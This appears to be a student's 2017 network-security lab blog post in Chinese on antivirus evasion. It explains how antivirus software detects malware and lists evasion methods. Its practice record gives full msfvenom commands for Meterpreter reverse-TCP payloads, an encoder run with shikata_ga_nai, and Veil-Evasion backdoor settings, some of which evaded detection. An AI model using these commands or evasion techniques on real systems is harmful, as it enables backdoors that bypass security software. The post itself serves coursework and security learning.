免杀技术

基础问题回答

杀软是如何检测出恶意代码的?

  • 基于特征码的检测:分析指令的统计特性、代码的结构特性等。如果一个可执行文件(或其他运行的库、脚本等)拥有一般恶意代码所通有的特征(开启后门等)则被认为是恶意代码

  • 启发式恶意软件检测:构成恶意代码的指令的含义,根据些片面特征去推断。

  • 基于行为的动态分析检测:通过监视恶意代码运行过程。如利用系统监视工具观察恶意代码运行过程时系统环境的变化,或通过跟踪恶意代码执行过程使用的系统函数和指令特征分析恶意代码功能,如出现恶意行为,则属于恶意代码。

免杀是做什么?

  • 免杀,字面意思上理解,就是“反-杀毒”,也就是通过一定的手段,使得杀毒工具无法检测出来软件病毒或者木马之类的“干扰性”特征。

免杀的基本方法有哪些?

  • 修改特征码:用一些工具找出特征码并针对特征码做免杀处理。

  • 文件加壳:可以用一些比较生僻的壳对木马文件进行保护,阻止外部程序或软件对加壳程序的反汇编分析或者动态分析。

  • 在有shellcode的情况下,用encode进行编码,payload重新编译生成可执行文件

  • 改变行为

  • 通讯方式:尽量使用反弹式连接;使用隧道技术;加密通讯数据;

  • 操作模式:基于内存操作;减少对系统的修改;加入混淆作用的正常功能代码

  • 非常规方法:使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中;使用社工类攻击,诱骗目标关闭AV软件;纯手工打造一个恶意软件

实践过程记录

C语言调用Shellcode

  • 用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.6.61 LPORT=233 -f c会生成一个c语言格式的Shellcode数组。

  • 把生成的代码从虚拟机中复制出来,用用Microsoft Visual Studio 2012或者Visual C++ 6.0进行编译运行生成可执行文件。

  • 注意,WindowsDefender出现如下图提示

  • 暂时将其关闭,成功生成exe文件

  • 生成exe文件后,360出现了如下提示

  • 在kali下进入MSF打开监听进程,如何设置监听可参考这里在靶机上运行,kali成功获取权限

  • 用VirSCAN.org进行检测


采用免杀平台Veil-Evasion生成后门软件

  • Veil-Evasion是一个免杀平台,输入veil-evasion进入软件,输入以下命令:

  • use python/meterpreter/rev_tcp

  • set LHOST 192.168.80.130 设置攻击机IP

  • set LPOST 443 设置端口

  • generate 生成exe文件

  • Please enter the base name for output files (default is 'payload'):2333 程序名

  • 选择1 这里一共有1、2、3三种选择,一般选择1是默认配置

  • 生成完后如图所示:(文件名和路径名在下图绿字显示)

  • 生成的exe文件如下

  • 将.exe文件拷贝出来到靶机上,放在了桌面上,在开启360的情况下并没有被查杀的迹象,然后手动用360进行木马查杀的情况下,如下图


  • 用VirSCAN.org进行检测


msf编码器

  • 使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.6.166 LPORT=2333 -f exe > 5329met-encoded.exe生成木马程序

  • 用VirSCAN.org进行检测


  • 使用命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.15.128 LPORT=5329 -f exe > 5329met-encoded10.exe生成木马程序

  • 用VirSCAN.org进行检测


遇到的问题与解决过程

  • 安装veil-evasion免杀平台的时候未出错,但是在使用时出现找不到python路径的情况,原因是在安装过程中提示选择python路径的时候出错了,影响了后面的使用,重新安装了此平台后解决。

  • 安装veil-evasion后重启kali的时候,以默认的登录方式跳转不到桌面,换成基于wayland的GNOME模式登陆就成功了,不过系统会很卡。

  • 在C语言调用Shellcode试验中,生成exe文件中出问题了,改成下图即可

离实战还缺些什么技术或步骤

  • 我们进行此次试验的时候,是在获知了靶机的有些相应信息的情况下进行的,比如靶机的IP等信息,而且还让靶机进行了相应的配合,这在实战中是不可能提供的。

  • 杀毒软件的病毒库更新的快,即使现在免杀成功了,但是可能第二天就不行了。

实践总结与体会

  • 进行这次实验之前,总觉得电脑有防火墙,有杀毒软件,是很安全的,进行了这次试验之后,才觉得进行升级更新是很必要的,因为杀毒软件的库也在即刻更新。这次实验带给我的不仅是学会免杀技术,了解免杀原理,更重要的是更加重视自己电脑的安全。

学期目标

  • 入门网络攻防,能走下来流程,最终能攻破防御较差的目标机

学习进度条

教材学习 视频学习 博客量(新增/累积) 重要成长
目标 12章 20篇
第一周 《Linux基础入门》 1/1 练习Linux命令,在码云上面创建项目,学习使用博客园写博客并用Markdown编辑器规范格式
第二周 第一二章 5个kali视频 2/3 初识网络攻防,了解基本知识
第三周 第三章 5个kali视频 1/4 学习了kali linux下信息收集阶段的探测工具
第四周 第四章 5个kali视频 1/5 学习了kali linux下漏洞分析的各种工具,wireshark的使用,学习了网络嗅探与协议分析
第五周 第十一、十二章 5个kali视频 1/6 学习了kali linux下漏洞分析之数据库评估软件的使用,也学习了SQL、XSS注入方面的一些知识
第六周 第五六章 5个kali视频 1/7 学习了kali linux下密码攻击的一些知识,学习了网络TCP/IP网络协议工具以及网络安全防范技术
第七周 第七章 5个kali视频 1/8 学习了了Windows操作系统的知识以及在Windows操作系统下怎么进行远程攻击,也学习了kali下meterpreter的使用以及网络TCP/IP网络协议工具以及网络安全防范技术
第八周 第八章 5个kali视频 1/9 学习了kali下后门的一些工具,以及漏洞利用的知识,学习了Linux操作系统安全攻防的一些基本知识
第九周 第九章 5个kali视频 1/10 主要进行了namp的实践记录,学习了恶意代码的基础知识及分析方法
第十周 1/11 根据实验楼缓冲区溢出的实验,进行了学习并且实践,并对实验内容以及实践过程进行了记录
第十一周 1/12 根据实验楼SQL注入的实验,进行了学习并且在自己的kali虚拟机上进行了实践,并对实验内容、实践过程以及在实验中遇到的问题和解决办法进行了记录
第十四周 1/13 学习了如何自己编写代码做到免杀,以及如何防御,也提高了自己对于电脑安全的警惕性

参考资料

  • 《网络攻防技术与实践》

  • 博客

posted on 2017-06-04 16:33  20169213刘晶  阅读(200)  评论(1编辑  收藏  举报